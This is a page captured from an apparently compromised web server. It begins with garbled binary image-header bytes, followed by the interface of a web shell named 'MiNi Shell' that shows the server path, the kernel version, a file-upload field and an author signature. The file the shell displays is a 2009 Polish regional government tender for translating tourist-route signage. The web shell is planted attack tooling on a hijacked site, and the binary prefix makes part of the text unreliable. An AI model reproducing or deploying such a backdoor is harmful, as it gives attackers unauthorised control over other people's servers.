JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20090519/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20090519/154832-N-2009.html

<p class="kh_header"><b>Olsztyn: Przedmiotem zamówienia jest usługa polegająca na pisemnym tłumaczeniu tekstu z języka polskiego na język angielski, niemiecki i rosyjski samochodowych szlaków turystycznych.</b><br>
<b>Numer ogłoszenia: 154832 - 2009; data zamieszczenia: 19.05.2009</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Województwo Warmińsko-Mazurskie reprezentowane przez Zarząd Województwa , ul. Emilii Plater 1, 10-562 Olsztyn, woj. warmińsko-mazurskie, tel. 089 5219100, faks 089 5219109, 5219849.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.warmia.mazury.pl/BIP</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Przedmiotem zamówienia jest usługa polegająca na pisemnym tłumaczeniu tekstu z języka polskiego na język angielski, niemiecki i rosyjski samochodowych szlaków turystycznych..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest usługa polegająca na pisemnym tłumaczeniu tekstu z języka polskiego na język angielski, niemiecki i rosyjski samochodowych szlaków turystycznych.
1.Opis przedmiotu zamówienia:     
a) Przedmiotem zamówienia jest usługa polegająca na pisemnym tłumaczeniu tekstu z języka polskiego na język angielski, niemiecki i rosyjski samochodowych szlaków turystycznych.
Materiał do tłumaczenia, przygotowany w języku polskim, będzie krótkim opisem samochodowych szlaków turystycznych: Szlaku Kopernikowskiego, Szlaku Kanału Elbląskiego, Szlaku Pętli Grunwaldzkiej, Szlaku Fortyfikacji Mazurskich. Zakresem tematycznym są opisy związane z atrakcjami turystycznymi. Tłumaczenia zostaną umieszczone na 51 tablicach wielkogabarytowych:
Zakres tłumaczeń do 49 szt. wielkogabarytowych tablic informacyjnych:
- nazwa szlaku
- legenda mapy ukazująca obszar opisywany na tablicy informacyjnej
- krótki opis drogowych szlaków turystycznych znajdujących się na obszarze oddziaływania tablicy informacyjnej
Zakres tłumaczeń do 2 szt. tablic wielkogabarytowych:
- nazwa szlaku
- krótki opis szlaku turystycznego
b) Materiał do tłumaczenia, przygotowany w języku polskim, znajduje się w szczegółowym opisie przedmiotu zamówienia stanowiącym załącznik nr 1 do SIWZ..</p>
<p><b>II.1.4) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p>
<p><b>II.1.5) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.1.7) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p><p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w dniach: 21.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WARUNKI DOTYCZĄCE ZAMÓWIENIA</b>
</p><b>Informacja na temat wadium:</b> Zamawiający nie wymaga wniesienia wadium.<br><p><b>III.2) WARUNKI UDZIAŁU</b></p>
<ul class="kh_indent_1"><li><b>Opis warunków udziału w postępowaniu oraz opis sposobu dokonywania oceny spełniania tych warunków:</b> 1.Warunki udziału w postępowaniu
O udzielenie zamówienia mogą ubiegać się: wykonawcy, którzy spełniają warunki udziału w postępowaniu, o których mowa w art. 22 ust. 1 ustawy:
1)posiadają uprawnienia do wykonywania określonej działalności lub czynności ;
2)posiadają niezbędną wiedzę i doświadczenie oraz dysponują potencjałem technicznym i osobami zdolnymi do wykonania przedmiotu zamówienia lub przedstawiają pisemne zobowiązanie innych podmiotów do udostępnienia potencjału technicznego i osób zdolnych do wykonania zamówienia:
2.1) dysponują lub będą dysponować co najmniej jednym tłumaczem z :
a)języka angielskiego, który posiada co najmniej jeden z wymienionych certyfikatów językowych:
European Language Certificate na poziomie B2 lub wyższym
Business English Certificate na poziomie Vantage lub wyższym
Certificate in Advanced English (CAE) oraz Certificate of Proficiency in English (CPE)
London Tests of English na poziomie B2 lub wyższym
lub/i ma wykształcenie wyższe, co najmniej licencjackie, z filologii angielskiej
b)języka niemieckiego, który posiada co najmniej jeden z wymienionych certyfikatów językowych:
European Language Certificate na poziomie B2 lub wyższym
Zertifikat Deutsch für den Beruf, Prüfung Wirtschaftsdeutsch
Goethe-Zertifikat C1 (ZMP)
Zentrale Oberstufenprüfung
Kleines Deutsches Sprachdiplom
Großes Deutsches Sprachdiplom
Deutsches Sprachdiplom Stufe II (DSD II)
Mittelstufe (ÖSD) na poziomie C1 lub wyższym
lub/i ma wykształcenie wyższe, co najmniej licencjackie, z filologii niemieckiej 
c)języka rosyjskiego, który posiada co najmniej jeden z wymienionych certyfikatów językowych:
European Language Certificate na poziomie B2 lub wyższym
PURJ - Porogovyj urojeń
Russkij jazyk
TRKI na poziomie 1 lub wyższym
lub/i ma wykształcenie wyższe, co najmniej licencjackie, z filologii rosyjskiej
2.2) należycie wykonali w okresie ostatnich trzech lat przed dniem wszczęcia postępowania, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 3 usług specjalistycznych tłumaczeń tekstowych (badania, analizy, raporty) z języka polskiego na język angielski, niemiecki lub rosyjski o tematyce z zakresu: kultury, ochrony zabytków lub turystyki, o wartości zamówienia nie mniejszej niż 10 tysięcy złoty brutto każda,
3)znajdują się w sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia;
4)nie podlegają  wykluczeniu z postępowania o udzielenie zamówienia;
2.Wykonawcy ubiegający się wspólnie o udzielenie zamówienia
1)Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia.
2)W przypadku, o którym mowa w pkt. 1, wykonawcy ustanawiają pełnomocnika do reprezentowania ich w postępowaniu o udzielenie zamówienia albo reprezentowania w postępowaniu i zawarcia umowy w sprawie zamówienia publicznego. Pełnomocnik zwraca się do zamawiającego z wszelkimi sprawami i do niego zamawiający kieruje informacje, korespondencję itp.
3)Przepisy dotyczące wykonawcy stosuje się odpowiednio do wykonawców, o których mowa w pkt. 1.  
4)Jeżeli oferta wykonawców o których mowa w pkt. 1 została wybrana, zamawiający może żądać przed zawarciem umowy w sprawie zamówienia publicznego, dostarczenia umowy regulującej  współpracę tych wykonawców, która będzie zawierała co najmniej:
a)zobowiązanie do realizacji  wspólnego przedsięwzięcia gospodarczego obejmującego swoim zakresem realizację przedmiotu zamówienia oraz ich solidarną odpowiedzialność za wykonanie zamówienia,
b)określenie zakresu działania poszczególnych stron umowy,
c)czas obowiązywania umowy, który nie może być krótszy niż okres obejmujący realizację zamówienia oraz czas trwania gwarancji jakości i rękojmi.
Dokument należy złożyć w formie oryginału lub kopii poświadczonej za zgodność z oryginałem przez wykonawcę.
5)Wykonawcy, o których mowa w pkt. 1 ponoszą solidarną odpowiedzialność za wykonanie umowy.
3.Sposób dokonania oceny spełnienia warunków udziału w postępowaniu.
Ocena spełnienia warunków udziału w postępowaniu zostanie przeprowadzona na podstawie złożonych przez wykonawców dokumentów i oświadczeń, wymaganych w § 9 SIWZ - zgodnie z formułą /spełnia - nie spełnia/. Zamawiający w trakcie ww. oceny będzie brał pod uwagę jedynie dokumenty i oświadczenia, których wymagał w SIWZ na potwierdzenie spełniania postawionych warunków. 
W przypadku złożenia przez Wykonawcę oświadczenia lub dokumentu, zawierającego informację, że Wykonawca nie spełnia warunku udziału w postępowaniu lub nie złożenia przez Wykonawcę dokumentu potwierdzającego spełnianie warunku udziału w postępowaniu Zamawiający, z zastrzeżeniem art. 26 ust. 3 ustawy Prawo zamówień publicznych uzna, że Wykonawca warunku nie spełnia i wykluczy go z udziału w postępowaniu, o czym zamawiający zawiadomi niezwłocznie wykluczonego wykonawcę podając uzasadnienie faktyczne i prawne. Ofertę wykonawcy wykluczonego uznaje się za odrzuconą..</li>
<li><b>Informacja o oświadczeniach i dokumentach, jakie mają dostarczyć wykonawcy w celu potwierdzenia spełniania warunków udziału w postępowaniu:</b> 1.W celu potwierdzenia spełnienia warunków udziału w postępowaniu określonych w niniejszej specyfikacji istotnych warunków zamówienia, Wykonawcy złożą następujące dokumenty i oświadczenia:
1)Aktualny odpis z właściwego rejestru albo aktualne zaświadczenie o wpisie do ewidencji  działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub zgłoszenia do ewidencji działalności gospodarczej - wystawione nie wcześniej niż 6 miesięcy przed upływem terminu  składania oferty; 
2)Oświadczenie Wykonawcy o spełnieniu warunków art. 22 ust. 1 ustawy - Prawo zamówień  publicznych - załącznik nr 3 do SIWZ;
3)Wykaz wykonanych w okresie ostatnich trzech lat przed dniem wszczęcia postępowania, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 3 usług specjalistycznych tłumaczeń tekstowych (badania, analizy, raporty) z języka polskiego na język angielski, niemiecki lub rosyjski o tematyce z zakresu: kultury, ochrony zabytków lub turystyki, o wartości zamówienia nie mniejszej niż 10 tysięcy złoty brutto każda. Wykaz należy przedstawić zgodnie ze wzorem stanowiącym załącznik nr 5 do SIWZ. Do każdej wykonanej usługi (podanej w wykazie) należy przedstawić dokument, potwierdzający należyte jej wykonanie.
4)Wykaz osób, którymi dysponuje lub będzie dysponował wykonawca i które będą uczestniczyć w wykonaniu zamówienia wraz z informacjami na temat  posiadanych przez nich certyfikatów językowych lub wykształcenia. Wykaz należy przedstawić zgodnie ze wzorem stanowiącym załącznik nr 6 do SIWZ.
5)Pisemne zobowiązanie innych podmiotów do udostępnienia osób zdolnych do wykonywania zamówienia, jeżeli w wykazie o którym mowa ppkt. 4), wykonawca wskazał osoby, którymi będzie dysponował  - załącznik nr 7  do SIWZ.	
2.W przypadku Wykonawców ubiegających się wspólnie o zamówienie, każdy z Wykonawców  składa  oświadczenie w zakresie spełnienia warunku udziału w postępowaniu, o którym mowa w art. 22 ust. 1 pkt  4 ustawy - załącznik nr 4 do SIWZ.
3.Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczpospolitej   Polskiej zamiast dokumentu, o którym mowa w ust. 1 pkt 1),  składa dokument wystawiony w terminie  i  formie określonej w  § 2 ust. 1, 2, 3  Rozporządzenia  Prezesa   Rady Ministrów z dnia 19 maja 2006 r., w sprawie rodzajów dokumentów, jakich może żądać zamawiający od wykonawcy oraz form w jakich dokumenty te mają być składane.
Dokumenty składane w języku obcym należy złożyć wraz z tłumaczeniem na język polski, poświadczonym przez wykonawcę. 
Kopia tłumaczenia musi być poświadczona wg poniższych zasad.
Dopuszcza się przedstawienie kopii dokumentów uwierzytelnionych osobiście przez Wykonawcę lub notariusza oraz przez umocowanego przedstawiciela Wykonawcy.
Pełnomocnicy działający w imieniu Wykonawcy muszą wykazać swoje umocowanie do działania. Pełnomocnictwo legitymuje pełnomocnika do wykonywania czynności prawnych w imieniu mocodawcy zatem jego zakres i okres obowiązywania powinien być wyraźnie i precyzyjnie określony.
Pełnomocnictwo winno być dołączone do oferty w oryginale lub kopii uwierzytelnionej przez Mocodawcę lub notariusza. Przyjmuje się, że udzielone pełnomocnictwo upoważnia do poświadczenia kopii innych dokumentów składanych wraz ofertą, z wyłączeniem pełnomocnictwa..</li></ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>

<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>
<br><p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p><p><b>IV.2.2) Wykorzystana będzie aukcja elektroniczna:</b> nie.</p><br><p><b>IV.3) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.3.1)</b>&nbsp;<b>Adres strony internetowej, na której dostępna jest specyfikacja istotnych warunków zamówienia:</b> www.bip.warmia.mazury.pl.<br><b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Urząd  Marszałkowski  Województwa  Warmińsko-Mazurskiego
Departament Zamówień Publicznych i Udzielania Zezwoleń
ul. Emilii Plater 1  pok. 126,   10-562 Olsztyn.</p>
<p><b>IV.3.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 27.05.2009 godzina 10:00, miejsce: Urząd  Marszałkowski  Województwa  Warmińsko-Mazurskiego
Departament Zamówień Publicznych i Udzielania Zezwoleń
ul. Emilii Plater 1  pok. 126,   10-562 Olsztyn.</p><p><b>IV.3.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com